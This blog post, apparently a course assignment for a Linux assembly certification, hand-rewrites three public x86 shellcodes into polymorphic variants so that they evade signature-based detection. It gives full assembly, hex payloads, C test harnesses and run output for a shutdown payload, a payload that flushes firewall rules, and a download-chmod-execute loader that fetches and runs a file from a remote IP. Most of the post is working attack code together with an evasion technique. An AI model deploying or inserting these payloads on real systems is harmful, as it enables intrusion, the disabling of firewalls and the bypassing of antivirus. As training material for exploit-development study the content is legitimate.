SLAE 6: Creating polymorphic shellcode


Programming / January 26, 2020 • 9 min read

Tags: slae shellcoding


The goal of this article is to create polymorphic verions of three different shellcodes from http://shell-storm.org. Polymorphic shellcode has the ability to mutate its code everytime it runs. The instructions changes while algorithm stays intact. The purpose is to evade signature based detections without manually change the shellcode.

We won’t be creating our own polymorphic engine in this article, instead we will manually modify these three shellcodes from shell-storm.org:

We are not allowed to increase the size more than 50%.

Shellcode 1: shutdown -h now - 56 bytes

The following program will shutdown your computer immediately when run:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/*
; Title: shutdown -h now Shellcode - 56 bytes
; Date: 2014-06-27
; Platform: linux/x86
; Author: Osanda Malith Jayathissa (@OsandaMalith)

Disassembly of section .text:

08048060 <_start>:
8048060:    31 c0                   xor    eax,eax
8048062:    31 d2                   xor    edx,edx
8048064:    50                      push   eax
8048065:    66 68 2d 68             pushw  0x682d
8048069:    89 e7                   mov    edi,esp
804806b:    50                      push   eax
804806c:    6a 6e                   push   0x6e
804806e:    66 c7 44 24 01 6f 77    mov    WORD PTR [esp+0x1],0x776f
8048075:    89 e7                   mov    edi,esp
8048077:    50                      push   eax
8048078:    68 64 6f 77 6e          push   0x6e776f64
804807d:    68 73 68 75 74          push   0x74756873
8048082:    68 6e 2f 2f 2f          push   0x2f2f2f6e
8048087:    68 2f 73 62 69          push   0x6962732f
804808c:    89 e3                   mov    ebx,esp
804808e:    52                      push   edx
804808f:    56                      push   esi
8048090:    57                      push   edi
8048091:    53                      push   ebx
8048092:    89 e1                   mov    ecx,esp
8048094:    b0 0b                   mov    al,0xb
8048096:    cd 80                   int    0x80

*/

#include <stdio.h>
#include <string.h>

unsigned char code[] =  "\x31\xc0\x31\xd2\x50\x66\x68\x2d"
"\x68\x89\xe7\x50\x6a\x6e\x66\xc7"
"\x44\x24\x01\x6f\x77\x89\xe7\x50"
"\x68\x64\x6f\x77\x6e\x68\x73\x68"
"\x75\x74\x68\x6e\x2f\x2f\x2f\x68"
"\x2f\x73\x62\x69\x89\xe3\x52\x56"
"\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

int
main() {

printf("Shellcode Length:  %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();

return 0;
}

I extracted the assembly code and modified it manually. The comments prefixed with [M] indicates that the instruction has been modified.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
global _start

section .text

_start:

    xor    ecx,ecx                      ; [M] clear ecx
    mul    ecx                          ; [M] clear both eax and edx
    push   edx                          ; [M] push edx instead of eax
    push word 0x682d                    ; -h option
    mov    edi,esp                      ; save stack pointer to edi
    push   eax                          ; push null
    push byte 0x6e                      ; "n" character
    mov byte [esp+1], 0x6f              ; [M] "o" character
    mov byte [esp+2], 0x77              ; [M] "w" character
    mov    edi,esp                      ; save stack pointer to edi
    push   eax                          ; push null
    push   0x6e776f64                   ; these four push instructions correspond to /sbin///shutdown
    push   0x74756873
    push   0x2f2f2f6e
    push   0x6962732f
    mov    ebx,esp                      ; save stack pointer to ebx
    push   edx                          ; push null
    push   esi
    push   edi                          ; points to "-h now"
    push   ebx                          ; points to /sbin///shutdown
    mov    ecx,esp                      ; save stack pointer to ecx
    mov    al,0xc-1                     ; [M] 0xc - 1 = 0xb which is execve() syscall
    int    0x80                         ; Execute syscall

Running the modified version returns:

dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ ./shellcode
Shellcode length:  59
shutdown: Need to be root

Nice! We only added 3 extra bytes. Running the program as root shuts down the computer.

Shellcode 2: 40 byte shellcode to flush ipchains for Linux x86

The purpose of the next shellcode is to delete all ipchains entries. So any firewall rules set in place will be wiped out.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* By Kris Katterjohn 11/18/2006
 *
 * 40 byte shellcode to flush ipchains for Linux x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
 *
 *      push byte 11
 *      pop eax
 *      cdq
 *      push edx
 *      push word 0x462d
 *      mov ecx, esp
 *      push edx
 *      push word 0x736e
 *      push 0x69616863
 *      push 0x70692f6e
 *      push 0x6962732f
 *      mov ebx, esp
 *      push edx
 *      push ecx
 *      push ebx
 *      mov ecx, esp
 *      int 0x80
 */

main()
{
       char shellcode[] =
               "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89"
               "\xe1\x52\x66\x68\x6e\x73\x68\x63\x68\x61"
               "\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62"
               "\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

       (*(void (*)()) shellcode)();
}

Because I don’t have the command ipchains on my system, I cheated a little bit and created the following script in /sbin/ipchains:

1
2
3
#!/bin/bash

/sbin/iptables "$@"

The modified shellcode can be seen below. Comments starting with [M] indicates that the instruction has been modified.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
section .text

global _start

_start:
    xor ecx, ecx            ; [M] zero out ecx
    mul ecx                 ; [M] zero out edx and eax
    push byte 10            ; [M]
    pop eax                 ; eax = 10
    push ecx                ; push ecx instead of edx
    push 0x2d               ; [M] "-" char
    mov byte [esp+1], 0x46  ; [M] "F" char
    mov ecx, esp            ; save current stack pointer to ecx
    push edx                ; push null
    push word 0x736e        ; following 4 push instructions form /sbin/ipchains
    push 0x69616863
    push 0x70692f6e
    push 0x6962732f
    push 0xdeadbeef         ; [M] add some nonsese
    pop edi                 ; [M]
    mov ebx, esp            ; save currrent stack pointer to ebx
    push edx                ; push null
    push ecx                ; points to "-F"
    push ebx                ; points to /sbin/ipchains
    xor ecx, ecx            ; [M] add some nonsense
    mov edi, esp            ; [M] add some nonsense
    xchg ecx, edi           ; [M] save current stack pointer to ecx
    inc eax                 ; [M] syscall 11: execve()
    int 0x80                ; execute syscall

The output below shows how the shellcode deletes a DROP rule from iptables:

dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  192.168.1.254        anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo ./shellcode
Shellcode length:  57
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

The modified shellcode increased with 17 bytes which is a 42% increase.

Shellcode 3: Download + chmod + exec - 108 bytes

The next and final shellcode is a little bit bigger than the previous samples. Let’s begin modifying it!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
/*
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: http://govolution.wordpress.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/

; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable
; - length 108 bytes

global _start

section .text

_start:

    ;fork
    xor eax,eax
    mov al,0x2
    int 0x80
    xor ebx,ebx
    cmp eax,ebx
    jz child
  
    ;wait(NULL)
    xor eax,eax
    mov al,0x7
    int 0x80
        
    ;chmod x
    xor ecx,ecx
    xor eax, eax
    push eax
    mov al, 0xf
    push 0x78
    mov ebx, esp
    xor ecx, ecx
    mov cx, 0x1ff
    int 0x80
    
    ;exec x
    xor eax, eax
    push eax
    push 0x78
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80
    
child:
    ;download 192.168.2.222//x with wget
    push 0xb
    pop eax
    cdq
    push edx
    
    push 0x782f2f32 ;2//x avoid null byte
    push 0x32322e32 ;22.2
    push 0x2e383631 ;.861
    push 0x2e323931 ;.291
    mov ecx,esp
    push edx
    
    push 0x74 ;t
    push 0x6567772f ;egw/
    push 0x6e69622f ;nib/
    push 0x7273752f ;rsu/
    mov ebx,esp
    push edx
    push ecx
    push ebx
    mov ecx,esp
    int 0x80
    
*/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let’s go!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
global _start

section .text

_start:

    ;fork
    xor ecx,ecx         ; [M] zero ecx instead of eax
    mul ecx             ; [M] set eax and edx to zero
    mov al, 0x1         ; [M]
    inc al              ; [M] fork syscall
    int 0x80            ; execute syscall
    mov ebx,edx         ; [M] mov edx into ebx instead of xor ebx,ebx
    cmp eax,ebx
    jz child

    ;wait(NULL)
    xor eax,eax
    mov al,0x8          ; [M]
    dec al              ; [M] waitpid syscall
    int 0x80            ; execute syscall

    ;chmod x
    ;xor ecx,ecx        ; this can be removed
    xor eax, eax        ; zero out eax
    push edx            ; [M] push edx instead of eax, null byte
    mov al, 0xf         ; chmod syscall
    push 0x78           ; "x" character
    mov ebx, esp        ; set current stack pointer to ebx
    mov ecx, edx        ; [M] mov ecx,edx instead of xor ecx,ecx
    mov cx, 0x1ff       ; set chmod mode to 511
    int 0x80            ; execute syscall

    ;exec x
    ;xor eax, eax       ; this can be removed
    push edx            ; [M] push edx instead of eax
    push 0x78           ; "x" character
    mov ebx, esp        ; set current stack pointer to ebx
    push edx            ; [M] push edx instead of eax
    mov edx, esp        ; set current stack pointer to edx
    push ebx
    mov ecx, esp
    mov al, 0xa         ; [M]
    inc al              ; [M] 0xb is execve syscall
    int 0x80            ; execute syscall

child:
    ;download 192.168.1.20/x with wget
    xor ecx, ecx        ; [M]
    mul ecx             ; [M]
    mov al, 0xb         ; [M] execve syscall
    push edx

    push word 0x782f    ; [M] /x avoid null byte
    push 0x30322e31     ; [M] 20.1
    push 0x2e383631     ; .861
    push 0x2e323931     ; .291
    mov ecx,esp
    push edx

    push 0x74           ;t
    push 0x6567772f     ;egw/
    push 0x6e69622f     ;nib/
    push 0x7273752f     ;rsu/
    mov ebx,esp
    push edx
    push ecx
    push ebx
    mov ecx,esp
    int 0x80            ; execute syscall

We added 5 bytes and removed 2 lines from the original shellcode. This results in a total of 113 bytes for the modified shellcode. That’s a 4% increase :) The image below shows how the program downloads a file and executes it.

shellcode_3_image.png

That’s it, stay tuned for the next and final article in my SLAE series.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1490